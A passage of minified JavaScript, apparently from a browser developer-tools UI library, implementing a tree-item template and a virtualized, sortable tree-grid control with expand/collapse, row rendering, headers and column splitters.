e=this.model;e.propertyChanged&&(this._modelPropertyChangedEventRegistration=e.propertyChanged.addHandler(this.onModelPropertyChanged.bind(this)));this.updateIndentationStyle();this.updateExpanderCss()}}onModelPropertyChangedOverride(e){}updateExpanderCss(){if(this.model&&this.model.hasChildren&&!this.model.areChildrenInline){this._expander.classList.remove(t.NO_EXPANDER_CSS_CLASS);this._expander.setAttribute("role","none");if(this.model.isExpanded){this._expander.classList.remove(t.COLLAPSED_CSS_CLASS);this._expander.classList.add(t.EXPANDED_CSS_CLASS)}else{this._expander.classList.remove(t.EXPANDED_CSS_CLASS);this._expander.classList.add(t.COLLAPSED_CSS_CLASS)}}else{this._expander.classList.remove(t.EXPANDED_CSS_CLASS);this._expander.classList.remove(t.COLLAPSED_CSS_CLASS);this._expander.classList.add(t.NO_EXPANDER_CSS_CLASS)}}onModelPropertyChanged(e){switch(e){case"level":this.updateIndentationStyle();break;case"hasChildren":case"isExpanded":case"areChildrenInline":this.model&&this.model.isExpanded&&this.model.areChildrenInline&&this.collapse();this.updateExpanderCss()}this.onModelPropertyChangedOverride(e)}onExpansionClicked(e){e&&e.stopImmediatePropagation();this.expansionToggledCallback&&this.expansionToggledCallback()}onRootElementDblClicked(e){e&&e.srcElement&&e.srcElement===this._expander?e.stopImmediatePropagation():this.onExpansionClicked(e)}updateIndentationStyle(){this.model&&(this._expander.style.marginLeft=this.model.level*this.indentationInPixels+"px")}}t.COLLAPSED_CSS_CLASS="BPT-itemCollapsed";t.INDENTATION_IN_PIXELS_DEFAULT=13;t.EXPANDED_CSS_CLASS="BPT-itemExpanded";t.NO_EXPANDER_CSS_CLASS="BPT-noExpander";e.TreeItemDataTemplate=t}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";let i;!function(e){class t{static stableReverse(e,t){for(var i=[],s=e.length-1;s>=0;s--){for(var n=s-1;n>=0&&0===t(e[n],e[s]);n--);for(var o=n+1;o<=s;o++)i.push(e[o]);s=n+1}for(s=0;s<i.length;s++)e[s]=i[s]}static defaultComparer(e,t,i,s){var n=i[e.index],o=s[e.index];return void 0===n||null===n?void 0===o||null===o?0:-1:void 0===o||null===o?1:n.toString().toLocaleUpperCase().localeCompare(o.toString().toLocaleUpperCase())}static sortComparer(t,i,s,n){for(var o=0;o<t.length;o++){var r=t[o],a=i[o],l=(a.comparer||e.TreeNodeSort.defaultComparer)(a,r.order,s,n);if(0!==l)return"desc"===r.order?-l:l}return 0}}e.TreeNodeSort=t}(i=t.Utility||(t.Utility={}));class s{constructor(e,t,i){this.gridData=e;this.expandStates=t;this.toggleFunction=i}}t.TreeInfo=s;class n{constructor(e,t,i,s,n,o,r,a){this.index=e;this.text=t;this.tooltip=i;this.width=s;this.canSortBy=n;this.getColumnValue=o;this.getCellCSSClass=r;this.comparer=a;this.hasHTMLContent=!1;this.hasMixedContent=!1}get percentWidth(){return this._percentWidth}set percentWidth(e){F12.Tools.Utility.Assert.isTrue(0<=e&&e<=1);this._percentWidth=e}}n.MIN_RESIZE_WIDTH=60;t.ColumnInfo=n;class o{constructor(e,t){this.index=e;this.order=t}}t.SortOrderInfo=o;class r{constructor(e,t){this.data=e;this.expandState=t;this.children=[]}}t.TreeNode=r;class a{constructor(e,t){this.icon=e;this.checkbox=t}}t.GutterOptions=a;class l{constructor(e,t,i,s,n,o){this.childDataCallback=e;this.columns=t;this.sortOrders=i;this.allowMultiSelect=!1;this.allowSortOnMultiColumns=!1;this.asyncInit=!0;this.autoSort=!0;this.coreCssClass="grid";this.cssClass="";this.expandStates=[];this.extendViewportBy=3;this.gutter=new a;this.header=!1;this.height="100%";this.initialSelection=!1;this.keepSelection=!1;this.payloadSize=200;this.source=null;this.preEditCellCallback=s;this.commitEditCellCallback=n;this.postEditCellCallback=o;this.disableRightClickSelection=!0;this.isGridEnabled=!0;this.prerenderCallback=null;this.onRowToggleCallback=null;this.keyboardEventHandler=null;this.commitOnTab=!1;this.alwaysForceSort=!1}}t.GridOptions=l;class h{constructor(e,t){this.rowIndex=e;this.dataIndex=t}}t.RowIndexInfo=h;class d{constructor(e,t){this.width=e;this.height=t}}class c{constructor(e,t){this.start=e;this.end=t}}t.Range=c;class u{constructor(e,t,i,s){this.active=e;this.index=t;this.originalWidth=i;this.origin=s}}t.ColumnSizing=u;class m extends e.Controls.Legacy.Control{constructor(e,t){super(e);this._options=t;this._canvas=null;this._contentSpacer=null;this._element=null;this._gutter=null;this._gutterHeader=null;this._header=null;this._headerCanvas=null;this._dataSource=[];this._rows={};this._columns=[];this._expandStates=null;this._expandedCount=0;this._sortOrder=[];this._rowInfoMap={};this._selectedRows=null;this._selectionStart=-1;this._selectionCount=0;this._selectedIndex=-1;this._active=!1;this._activeAriaId=null;this._getChildDataCallback=null;this._canvasHeight=300;this._canvasWidth=300;this._contentSize=null;this._measurements={};this._count=0;this._indentIndex=0;this._indentLevels=null;this._visibleRange=[];this._columnSizing=null;this._sizingElement=null;this._copyInProgress=!1;this._resetScroll=!1;this._ignoreScroll=!1;this._scrollTop=0;this._scrollLeft=0;this._cancelable=null;this._onAriaExpandedModifiedHandler=this.onAriaExpandedModified.bind(this);this.initialize()}get isVerticalScrollbarVisible(){return this._canvasHeight<this._canvas.scrollHeight}initialize(){this._element=document.createElement("div");this._element.className=this._options.coreCssClass;this._element.style.height=this._options.height;this.rootElement.appendChild(this._element);this._buildDom();this._contentSize=new d(300,400);this._takeMeasurements();this._getChildDataCallback=this._options.childDataCallback||null;this._options.asyncInit?window.setTimeout(function(){this._attachEvents()}.bind(this),10):this._attachEvents();this.initializeDataSource()}findClosestElement(e,t){for(var i=this._element.parentNode,s=e;s&&s!==i;){if(s.msMatchesSelector(t))return s;s=s.parentNode}return s}fireCustomEvent(e,t,i){var s=document.createEvent("Event");s.initEvent(t,!0,!0);s.customData=i;e.dispatchEvent(s)}onAriaExpandedModified(e){if("aria-expanded"===e.attrName){var t=this.getRowInfoFromEvent(e,".grid-row");t&&this.tryToggle("true"===e.newValue,!1,t.dataIndex)}}createElementWithClass(e,t){var i=document.createElement(e);t&&(i.className=t);return i}static expand(e){var t=[];if(e.length>0){var i=[],s={level:1,origCount:e.length,remainingCount:e.length};i.push(s);for(var n=0;n<e.length;){t.push(s.level);s.remainingCount--;for(;0===s.remainingCount;){i.pop();if(0===i.length){if(n===e.length-1)break;throw new Error("invalid descendant counts, nesting not possible")}var o=i[i.length-1];o.remainingCount-=s.origCount;if((s=o).remainingCount<0)throw new Error("invalid descendant counts, cannot convert to indentation levels")}var r=Math.abs(e[n]);if(r>0){var a={level:t[t.length-1]+1,origCount:r,remainingCount:r};i.push(a);s=a}n++}if(i.length>0)throw new Error("invalid descendant counts, more input expected")}return t}static addItemsToTree(e,t,i,s,n){for(var o=Math.min(i+s,e.length),a=i;a<o;a++){var l=new r(e[a],t[a]),h=Math.abs(l.expandState);if(h>0){m.addItemsToTree(e,t,a+1,h,l);a+=h}n.children.push(l)}}static walkTree(e,t){if(t){t(e);var i=0,s=e.children;if(s&&(i=s.length))for(var n=0;n<i;n++){var o=s[n];m.walkTree(o,t)}}}static makeElementUnselectable(e){e.setAttribute("unselectable","on");for(var t=e.querySelectorAll("*"),i=0;i<t.length;i++){var s=t[i];switch(s.tagName){case"FRAME":case"IFRAME":case"TEXTAREA":case"INPUT":case"SELECT":break;default:s.setAttribute("unselectable","on")}}}static toDecimalLocaleString(e,t,i){var s,n,o,r=function(e,t,i){for(var s=e.length;s<t;s++)e=i?"0"+e:e+"0";return e},a=e.toString(),l="";n=i?i.numberFormat:Sys.CultureInfo.CurrentCulture;a=(o=a.split(/e/i))[0];s=o.length>1?parseInt(o[1],10):0;a=(o=a.split("."))[0];l=o.length>1?o[1]:"";if(s>0){a+=(l=r(l,s,!1)).slice(0,s);l=l.substr(s)}else if(s<0){l=(a=r(a,(s=-s)+1,!0)).slice(-s,a.length)+l;a=a.slice(0,-s)}l.length>0&&(l=n.NumberDecimalSeparator+l);if(!0===t){for(var h=n.NumberGroupSizes,d=n.NumberGroupSeparator,c=h[0],u=1,m=a.length-1,p="";m>=0;){if(0===c||c>m)return p.length>0?a.slice(0,m+1)+d+p+l:a.slice(0,m+1)+l;p=p.length>0?a.slice(m-c+1,m+1)+d+p:a.slice(m-c+1,m+1);m-=c;if(u<h.length){c=h[u];u++}}return a.slice(0,m+1)+d+p+l}return a+l}static convertValueToDisplayString(e,t){return null!=e?"string"==typeof e?e:e?e.localeFormat(t||"G"):"number"==typeof e?t?e.toLocaleString(t):m.toDecimalLocaleString(e):"boolean"==typeof e?e?"True":"False":e.toString():""}_getId(){return m.TYPE_NAME}getSelectionCount(){return this._selectionCount}set expandedCount(e){this._expandedCount=e;this._options.expandedCountChangedCallback&&this._options.expandedCountChangedCallback(this._expandedCount)}getExpandedCount(){return this._expandedCount}getElement(){return this._element}_enhance(e){this._buildDom()}_buildDom(){var e=document.createDocumentFragment(),t=this._options.gutter,i=t&&(t.icon||t.checkbox);this._canvas=document.createElement("div");this._canvas.className="grid-canvas";this._canvas.setAttribute("role","treegrid");this._contentSpacer=document.createElement("div");this._contentSpacer.className="grid-content-spacer";this._canvas.appendChild(this._contentSpacer);if(this._options.header){this._element.classList.add("has-header");this._header=document.createElement("div");this._header.className="grid-header";this._headerCanvas=document.createElement("div");this._headerCanvas.className="grid-header-canvas";this._header.appendChild(this._headerCanvas);e.appendChild(this._header)}if(i){this._element.classList.add("has-gutter");this._gutter=document.createElement("div");this._gutter.className="grid-gutter";this._canvas.appendChild(this._gutter);if(this._header){this._gutterHeader=document.createElement("div");this._gutterHeader.className="grid-gutter-header";this._header.appendChild(this._gutterHeader)}}e.appendChild(this._canvas);this._element.appendChild(e)}_attachEvents(){window.addEventListener("resize",e=>this._onContainerResize(e));this._element.addEventListener("mousedown",e=>this._onContainerMouseDown(e));this._canvas.addEventListener("keydown",e=>this._onKeyDown(e));this._canvas.addEventListener("mousedown",e=>this._onRowMouseDown(e));this._canvas.addEventListener("dblclick",e=>this.onEditCell(e));this._canvas.addEventListener("scroll",e=>this._onCanvasScroll(e));this._canvas.addEventListener("selectstart",function(){return!1});if(this._header){this._header.addEventListener("mousedown",e=>this._onHeaderMouseDown(e));this._header.addEventListener("mouseup",e=>this._onHeaderMouseUp(e));this._header.addEventListener("click",e=>this._onHeaderClick(e));this._header.addEventListener("dblclick",e=>this._onHeaderDblClick(e))}if(this._gutter){this._gutter.addEventListener("click",e=>this._onGutterClick(e));this._gutter.addEventListener("mouseover",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.add("grid-gutter-row-hover")});this._gutter.addEventListener("mouseout",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.remove("grid-gutter-row-hover")})}}_mergeExpandStates(e,t,i){var s=i.length-1;t.splice(e+1,1);for(var n=0;n<=s;n++)t.splice(e+n+1,0,i[n]);var o=0;for(n=e;n>=0;n--){var r=t[n];if(Math.abs(r)>o){t[n]=r<0?r-s:r+s;o=0}else o++}}_takeMeasurements(){var e=this._options.coreCssClass;this._options.cssClass&&(e+=" "+this._options.cssClass);var t=this.createElementWithClass("div",e);t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";document.body.appendChild(t);var i=this.createElementWithClass("div","grid-row grid-row-normal");t.appendChild(i);var s=this.createElementWithClass("div","grid-cell");s.style.width="100px";s.innerText="1";i.appendChild(s);this._measurements.rowHeight=i.offsetHeight;this._measurements.cellOffset=s.offsetWidth-100;var n=this.createElementWithClass("div");n.style.overflow="hidden";n.style.width="1em";n.style.height="1ex";s.appendChild(n);this._measurements.unitEx=n.offsetHeight;var o=this.createElementWithClass("div","grid-gutter");o.appendChild(this.createElementWithClass("div","grid-gutter-row grid-gutter-row-selected"));t.appendChild(o);this._gutter?this._measurements.gutterWidth=o.clientWidth:this._measurements.gutterWidth=0;document.body.removeChild(t)}initializeDataSource(){if(this._resetScroll){this._ignoreScroll=!0;try{var e=this._canvas;e.scrollTop=0;e.scrollLeft=0;this._scrollLeft=0;this._scrollTop=0;this._resetScroll=!1}finally{this._ignoreScroll=!1}}this.setDataSource(this._options.source,this._options.expandStates,this._options.columns,this._options.sortOrders);this._expandedCount>0?this._options.keepSelection&&this._selectedIndex>=0?this._selectRow(Math.min(this._selectedIndex,this._expandedCount-1)):this._selectRow(!1!==this._options.initialSelection?0:-1):this.setSelectedRowIndex(-1)}setDataSource(e,t,i,s,n,o,r){var a,l,h;this._rowInfoMap={};this._dataSource=e||[];this._count=h=this._dataSource.length;if(t){this._expandStates=t;this._indentLevels=m.expand(t)}else{this._indentLevels=null;this._expandStates=null}this.expandedCount=h;this._updateRanges();this._columns=[];if(i){var d=(e,t,i,s,n,o,r)=>this._drawCell(e,t,i,s,n,o,r),c=(e,t)=>this._drawHeaderCellValue(e,t),u=(e,t,i)=>this.getColumnValue(e,t,i);for(a=0,l=i.length;a<l;a++){var p=i[a];p.index=void 0!==p.index?p.index:String(a);p.canSortBy=!1!==p.canSortBy;p.canMove=!1!==p.canMove;p.width=void 0!==p.width?p.width:100;p.getCellContents=p.getCellContents||d;p.getHeaderCellContents=p.getHeaderCellContents||c;p.getColumnValue=p.getColumnValue||u;this._columns.push(p)}}this._sortOrder=[];if(s)for(a=0,l=s.length;a<l;a++){var _=s[a];"desc"!==_.order&&(_.order="asc");this._sortOrder.push(_)}this._clearSelection();this._determineIndentIndex();this._options.asyncInit?window.setImmediate(()=>{this._layoutAfterSetDataSource(n,o,r)}):this._layoutAfterSetDataSource(n,o,r)}getDataSource(){return this._dataSource}_layoutAfterSetDataSource(e,t,i){this.layout(void 0,t);this._ensureSelectedIndex(e);i&&this.scrollToBottom(()=>{});this._selectRow(e,null,null,!0===t)}_adjustForDynamicData(e,t,i){if(this._options.isGridEnabled){this._dataSource.splice(i+1,1);for(var s=0;s<e.length;s++)this._dataSource.splice(i+s+1,0,e[s]);this._mergeExpandStates(i,this._expandStates,t);var n=this._dataSource.length;this._count=n;this._expandStates?this._indentLevels=m.expand(this._expandStates):this._indentLevels=null;this.expandedCount=n;this._updateRanges();this._clearSelection();this._determineIndentIndex();this._layoutAfterSetDataSource(this._getRowIndex(i),!0)}}_ensureSelectedIndex(e){var t=this._selectedIndex;"number"==typeof e&&(this._selectedIndex=e);if(this._selectedIndex>=0){this._count<=this._selectedIndex&&(this._selectedIndex=this._count-1);this._selectedIndex!==t&&this._addSelection(this._selectedIndex)}}getRowInfo(e){return this._rows[e]}getRowData(e){return this._dataSource[e]}getColumns(){return this._columns||[]}getSortOrder(){return this._sortOrder||[]}insertAdditionalDynamicData(e,t){void 0!==e&&this._adjustForDynamicData(e.itemsWithPlaceholders,e.expandStates,t-1)}_determineIndentIndex(){var e,t,i=this._columns;for(e=0,t=i.length;e<t;e++)if(i[e].indent){this._indentIndex=e;return}this._indentIndex=0}_getDataIndex(e){var t,i,s,n=-1,o=this._visibleRange;if(e<0)return-1;for(t=0,i=o.length;t<i;t++)if(e<=(n+=(s=o[t]).end-s.start+1))return s.end-n+e;return e}_getRowIndex(e){var t,i,s,n=0,o=this._visibleRange;for(t=0,i=o.length;t<i&&e>=(s=o[t]).start;t++){if(e<=s.end)return n+e-s.start;n+=s.end-s.start+1}return-Math.max(0,n-1)}_updateRanges(){var e=0,t=0,i=this._count,s=[],n=0;if(this._expandStates){for(;e<i;){var o=this._expandStates[e];if(o<0){s[s.length]=new c(t,e);n+=e-t+1;t=e+=1-o}else e++}if(t<i){s[s.length]=new c(t,i-1);n+=i-t}}else{n=i;s[s.length]=new c(0,n)}this.expandedCount=n;this._visibleRange=s}expandNode(e){if(this._options.isGridEnabled){this._options.onRowToggleCallback&&this._options.onRowToggleCallback(this._dataSource,e,!0);this._dataSource[e+1].isPlaceholder&&this._getChildDataCallback(this._dataSource[e],t=>{void 0!==t&&this._adjustForDynamicData(t.itemsWithPlaceholders,t.expandStates,e)});if(this._expandStates){var t=this._expandStates[e];if(t<0){this._expandStates[e]=-t;this._updateRanges();var i=this._rows[e];i&&(i.isDirty=!0)}}}}collapseNode(e){if(this._options.isGridEnabled){if(this._expandStates){var t=this._expandStates[e];if(t>0){this._options.onRowToggleCallback&&this._options.onRowToggleCallback(this._dataSource,e,!1);this._expandStates[e]=-t;this._updateRanges();var i=this._rows[e];i&&(i.isDirty=!0)}}this.layout()}}expandAllNodes(){var e=0,t=this._count,i=this._expandStates,s=!1,n=this._rows;if(i){for(;e<t;){var o=i[e];if(o<0){i[e]=-o;s=!0;var r=n[e];r&&(r.isDirty=!0)}e++}s&&this._updateRanges()}return s}collapseAllNodes(){var e=0,t=this._count,i=this._expandStates,s=!1,n=this._rows;if(i){for(;e<t;){var o=i[e];if(o>0){i[e]=-o;s=!0;var r=n[e];r&&(r.isDirty=!0)}e++}s&&this._updateRanges()}return s}expandAll(){this._updateExpansionStateAndRedraw(()=>this.expandAllNodes)}collapseAll(){this._updateExpansionStateAndRedraw(()=>this.collapseAllNodes)}_updateExpansionStateAndRedraw(e){var t,i=this._selectedIndex;i>=0&&(t=this._getDataIndex(i));e();if(i>=0){this._clearSelection();this._addSelection(Math.abs(this._getRowIndex(t)))}this._layoutContentSpacer();this._redraw();this._notifyForPrerender()}tryToggle(e,t,i){var s;if(!this._expandStates||this._selectedIndex<0||this._expandedCount<=0)return!1;var n=void 0!==i?i:this._getDataIndex(this._selectedIndex);if(!this._rows[n])return!1;if(0!==(s=this._expandStates[n])){if(e){if(!(s<0))return!1;this.expandNode(n)}else{if(!(s>0))return!1;this.collapseNode(n)}this._clearSelection();this._addSelection(this._getRowIndex(n),null,null,!0);this._layoutContentSpacer();this._redraw();this._notifyForPrerender();return!0}return!1}layoutOnResize(){this._onContainerResize(void 0)}_getVisibleRowIndices(){var e=this._scrollTop,t=e+this._canvasHeight,i=this._expandedCount-1,s=this._measurements.rowHeight||1;return{first:Math.min(i,Math.max(0,Math.ceil(e/s))),last:Math.min(i,Math.floor(t/s)-1)}}_getRowIntoView(e,t){if(t){this._canvas.scrollTop=Math.max(0,Math.min(e||0,this._expandedCount-1))*this._measurements.rowHeight;return!0}var i=this._getVisibleRowIndices(),s=i.first,n=i.last,o=n-s;if(e<s||e>n){s=this._selectedIndex>s?Math.max(e-o,0):Math.max(0,Math.min(e+o,this._expandedCount-1)-o);this._canvas.scrollTop=s*this._measurements.rowHeight;return!0}return!1}getSelectedRowIntoView(e){return this._getRowIntoView(this._selectedIndex,e)}cacheRows(e,t,i){}_updateViewport(e,t){for(var i=this._count,s=[],n=[],o=[],r=this._expandStates||[],a=this._expandedCount-1,l=this.getViewPortRanges(),d=Math.max(0,l.start-this._options.payloadSize),c=Math.min(a,l.end+this._options.payloadSize),u=this._getDataIndex(d),m=d;m<=c&&u<i;m++){if(m<l.start)s[s.length]=new h(m,u);else if(m>l.end)n[n.length]=new h(m,u);else{o[o.length]=new h(m,u);this._lastRenderedDataIndex=u}var p=r[u];p<0?u+=1-p:u++}this.measureColumnSize(t);this.cacheRows(s,o,n);this._drawRows(o,e)}_cleanUpRows(){var e,t=this._rows,i=this._gutter;for(e in t){var s=t[e];if(s.row.parentElement){s.row.parentElement.removeChild(s.row);delete this._rowInfoMap[s.row.id]}i&&s.gutterRow.parentElement&&s.gutterRow.parentElement.removeChild(s.gutterRow)}this._rows={}}_drawRows(e,t){var i,s,n=this._expandStates,o=0,r=this._indentLevels,a=0,l=this._gutter,h=this._canvas;if(this._editBoxControl){this._editBoxControl.dismiss();this._editBoxControl=null}var d=document.createDocumentFragment(),c=null;if(l){i=this._gutter;c=document.createDocumentFragment()}var u=this._rows,m={};this._rows=m;for(var p=e.length,_=0;_<p;_++){var g=e[_],f=g.rowIndex,C=g.dataIndex,v=u[C];if(v){if(s=v.rowIndex!==f){v.rowIndex=f;v.row.id="row_"+this._getId()+"_"+f;this._rowInfoMap[v.row.id]=v}else{s=v.isDirty;delete v.isDirty}t&&(s=!0);delete u[C]}else{s=!0;var S=this.createElementWithClass("div","grid-row grid-row-normal");S.id="row_"+this._getId()+"_"+f;S.setAttribute("role","row");d.appendChild(S);var E={rowIndex:f,dataIndex:C,row:S};if(l){var T=this.createElementWithClass("div","grid-gutter-row grid-gutter-row-normal");c.appendChild(T);T.id="gtr_"+S.id;this._rowInfoMap[T.id]=E;E.gutterRow=T}this._rowInfoMap[S.id]=E;v=E}m[C]=v;if(s){if(n){o=n[C];a=r[C];v.row.setAttribute("aria-level",""+a)}this._updateRow(v,f,C,o,a)}}for(var I in u){v=u[I];if(l){delete this._rowInfoMap[v.gutterRow.id];v.gutterRow.parentElement.removeChild(v.gutterRow)}delete this._rowInfoMap[v.row.id];v.row.parentElement.removeChild(v.row)}h.appendChild(d);l&&i.appendChild(c)}updateRow(e,t){var i=0,s=0;void 0===t||t<0?t=this._getDataIndex(e):(void 0===e||e<0)&&(e=this._getRowIndex(t));var n=this._rows[t];if(n){if(this._expandStates){i=this._expandStates[t];s=this._indentLevels[t]}this._updateRow(n,e,t,i,s)}}_updateRow(e,t,i,s,n){var o=this._indentIndex;if(this._gutter){var r=this._options.gutter,a=e.gutterRow.firstElementChild;a.style.top=t*this._measurements.rowHeight+"px";a.style.left="0px";a.style.width=this._measurements.gutterWidth+"px";a.style.height=this._measurements.rowHeight+"px";if(r.checkbox){var l=this.createElementWithClass("input","checkbox "+(r.checkbox.cssClass||""));l.setAttribute("type","checkbox");var h=this.createElementWithClass("div","grid-gutter-cell grid-gutter-checkbox");h.appendChild(l[0]);a.appendChild(h)}if(r.icon){var d="grid-gutter-cell grid-gutter-icon ";void 0!==r.icon.cssClass&&(d+=r.icon.cssClass+" ");void 0!==r.icon.index&&(d+=(this.getColumnValue(i,r.icon.index,-1)||"")+" ");!1!==r.icon.ownerDraw&&(d+=this._getGutterIconClass(t,i,s,n)||"");var c=this.createElementWithClass("div",d);a.appendChild(c)}this._drawGutterCell(e,t,i,s,n)}var u=e.row;u.innerHTML="";u.style.top=t*this._measurements.rowHeight+"px";u.style.left=this._measurements.gutterWidth+"px";u.style.height=this._measurements.rowHeight+"px";u.style.width=isNaN(this._contentSize.width)?"":this._contentSize.width+2+"px";for(var p=this._columns,_=0,g=p.length;_<g;_++){var f=p[_];if(!f.hidden){var C=f.getCellContents(e,i,s,n,f,o,_);if(C){C.setAttribute("role","gridcell");C.setAttribute("aria-readonly",!C.classList.contains("grid-cell-editable")+"");u.appendChild(C)}}}m.makeElementUnselectable(u);this._gutter&&m.makeElementUnselectable(a);this._updateRowSelectionStyle(e,this._selectedRows,this._selectedIndex);u.removeEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler);if(0!==s){u.setAttribute("aria-expanded",s>0?"true":"false");u.addEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler)}}_getGutterIconClass(e,t,i,s){return""}_drawGutterCell(e,t,i,s,n){}static _setTooltip(e,t,i){var s={content:t,height:i};e.setAttribute("data-plugin-vs-tooltip",JSON.stringify(s))}_drawCell(e,t,i,s,n,o,r){var a,l=n.width||20,h=this.createElementWithClass("div","grid-cell");h.style.width=isNaN(l)?String(l):l+"px";if(n.cellDecorator){var d=this._dataSource[t];n.cellDecorator(h,d)}else{void 0!==n.hrefIndex&&(a=this.getColumnValue(t,n.hrefIndex,-1));var c=this.getColumnText(t,n,r),u=!1;if(c.length>m.MAX_CELL_CONTENT_SIZE){u=!0;h.setAttribute("grid-edit-value",c);c=c.substr(0,m.MAX_CELL_CONTENT_SIZE)}"function"==typeof n.getCellTooltip?m._setTooltip(h,n.getCellTooltip(t,n.index,r,this._dataSource),m.DEFAULT_TOOLTIP_HEIGHT):n.hasHTMLContent||n.hasMixedContent&&n.getCellCSSClass&&-1!==n.getCellCSSClass(t,n.index,r,this._dataSource).indexOf("grid-mixed-cell-html")||m._setTooltip(h,u?c+"...":c,m.DEFAULT_TOOLTIP_HEIGHT);if(a){var p=document.createElement("a");p.setAttribute("href",a);p.setAttribute("tabindex","-1");p.innerText=c;h.appendChild(p)}else c?n.hasHTMLContent||n.hasMixedContent&&n.getCellCSSClass&&-1!==n.getCellCSSClass(t,n.index,r,this._dataSource).indexOf("grid-mixed-cell-html")?h.innerHTML=c:h.innerText=c:h.innerHTML="&nbsp;"}if(r===o&&s>0){var _=s*m.INDENT_WIDTH-13;n.indentOffset=_;if(0!==i){var g=this.createElementWithClass("div","icon grid-tree-icon");g.style.left=_+"px";h.appendChild(g);i>0?g.classList.add("icon-tree-expanded"):g.classList.add("icon-tree-collapsed")}h.style.textIndent=s*m.INDENT_WIDTH+"px"}if(n.hasGlyph){var f=2,C=n.getGlyphClass(t,n.index,r,this._dataSource);if(C&&""!==C){var v=this.createElementWithClass("div",C+" grid-cell-glyph");v.style.left=s*m.INDENT_WIDTH+f+"px";h.appendChild(v);h.style.textIndent=s*m.INDENT_WIDTH+m.GLYPH_WIDTH+f+"px"}}if(n.getCellCSSClass){var S=n.getCellCSSClass(t,n.index,r,this._dataSource);if(S)for(var E=S.trim().split(" "),T=0;T<E.length;T++)E[T]&&h.classList.add(E[T])}n.rowCss&&h.classList.add(n.rowCss);return h}_drawSplitters(){if(this._options.drawRowSplitters&&this._dataSource.length>0){for(var e=this._canvas.querySelectorAll(".grid-row-splitter"),t=0;t<e.length;t++){var i=e[t];i.parentElement.removeChild(i)}var s=this.getRowInfo(this._lastRenderedDataIndex),n=0;if(s){var o=this._canvas.scrollHeight-1+"px";for(t=0;t<this._columns.length-1;t++){var r=this._columns[t];if(!r.hidden){var a=this.createElementWithClass("div","grid-row-splitter");n+=parseInt(s.row.children[t].style.width);a.style.left=n+"px";a.style.height=o;a.setAttribute("grid-splitter-index",""+t);if(r.fixed||this._columns[t+1].fixed)a.classList.add("fixed");else{a.addEventListener("mousedown",e=>{this._onSplitterMouseDown(e)});a.addEventListener("dblclick",e=>{this._onSplitterDblClick(e)})}this._canvas.appendChild(a)}}}}}_drawHeader(){var e=this._columns,t=this._sortOrder;if(this._header){for(var i=document.createDocumentFragment(),s=0,n=e.length;s<n;s++){var o=e[s];if(!o.hidden){var r=this.createElementWithClass("div","grid-header-column");m._setTooltip(r,o.tooltip,m.DEFAULT_TOOLTIP_HEIGHT);r.style.width=(o.width||20)+"px";r._data={columnIndex:s,header:!0};var a=this.createElementWithClass("div","separator");o.fixed&&(a.style.cursor="auto");a._data={columnIndex:s,separator:!0};r.appendChild(a);var l=o.getHeaderCellContents(o,s);o.headerCss&&l.classList.add(o.headerCss);o.tooltip&&m._setTooltip(l,o.tooltip,m.DEFAULT_TOOLTIP_HEIGHT);r.appendChild(l);var h=this.createElementWithClass("div","sort-handle");t.forEach((e,t,i)=>{if(e.index===o.index){"asc"===e.order?r.classList.add("ascending"):"desc"===e.order&&r.classList.add("descending");return!1}});r.appendChild(h);i.appendChild(r)}}this._headerCanvas.innerHTML="";this._headerCanvas.appendChild(i);m.makeElementUnselectable(this._header)}}_drawHeaderCellValue(e,t){var i=document.createElement("div");i.classList.add("title");i.innerText=e.text||"";t===this._indentIndex&&void 0!==this._indentLevels&&null!==this._indentLevels&&i.classList.add("indented-title");return i}_layoutContentSpacer(){for(var e=0,t=this._columns,i=0,s=t.length;i<s;i++)t[i].hidden||(e+=(t[i].width||20)+this._measurements.cellOffset);e+=2;var n=Math.max(1,this._expandedCount*this._measurements.rowHeight);this._contentSpacer.style.width=e+"px";this._contentSpacer.style.height=n+"px";this._gutter&&(this._gutter.style.height=n+"px");this._ignoreScroll=!0;try{var o=Math.max(0,Math.min(this._scrollTop,n-this._canvasHeight));if(o!==this._scrollTop){this._scrollTop=o;this._canvas.scrollTop=o}var r=Math.max(0,Math.min(this._scrollLeft,e-this._canvasWidth));if(r!==this._scrollLeft){this._scrollLeft=r;this._canvas.scrollLeft=r}}finally{this._ignoreScroll=!1}this._contentSize.width=e;this._contentSize.height=n}_layoutHeader(){this._header&&(this._headerCanvas.style.left=this._measurements.gutterWidth-this._scrollLeft+"px");this._gutter&&(this._gutter.style.left=this._scrollLeft+"px")}layout(e,t=!0){this._measureCanvasSize();var i=-1;document.activeElement&&this._canvas.contains(document.activeElement)&&(i=this._selectedIndex);this._cleanUpRows();this._fixScrollPos();this._layoutContentSpacer();this._updateViewport(!1,e);!document.activeElement&&i>=0&&this._addSelection(i,null,null,t);this._layoutHeader();this._drawHeader();this._drawSplitters()}_fixScrollPos(){var e=this._ignoreScroll;this._ignoreScroll=!0;try{this._canvas.scrollLeft=this._scrollLeft;this._canvas.scrollTop=this._scrollTop}finally{this._ignoreScroll=e}}redraw(){this._fixScrollPos();this._redraw(!0)}_redraw(e){this._layoutHeader();this._updateViewport(e)}getColumnValue(e,t,i){return this._dataSource[e][t]}getColumnText(e,t,i){var s,n=t.getColumnValue(e,t.index,i,this._dataSource);s="string"!=typeof n?m.convertValueToDisplayString(n,t.format):n;t.maxLength=Math.max(t.maxLength||0,s.length);return s}_getExpandState(e){var t=0;this._expandStates&&"number"==typeof this._expandStates[e]&&(t=this._expandStates[e]);return t}getViewPortRanges(){var e=this._expandedCount-1,t=this._getVisibleRowIndices(),i=t.first,s=t.last;i=Math.max(0,i-this._options.extendViewportBy);s=Math.min(e,s+this._options.extendViewportBy);var n=this._getDataIndex(i),o=this._getDataIndex(s);return new c(Math.min(n,i),Math.max(o,s))}scrollToBottom(e){this._scrollRenderComplete=e;if(this._canvas.scrollTop+this._canvas.clientHeight>=this._canvas.scrollHeight){if(this._scrollRenderComplete){this._scrollRenderComplete();this._scrollRenderComplete=null}}else this._canvas.scrollTop=this._canvas.scrollHeight}setViewState(e){this._options.isGridEnabled=e;e?this.rootElement.classList.remove("busy"):this.rootElement.classList.add("busy")}_selectRow(e,t,i,s){var 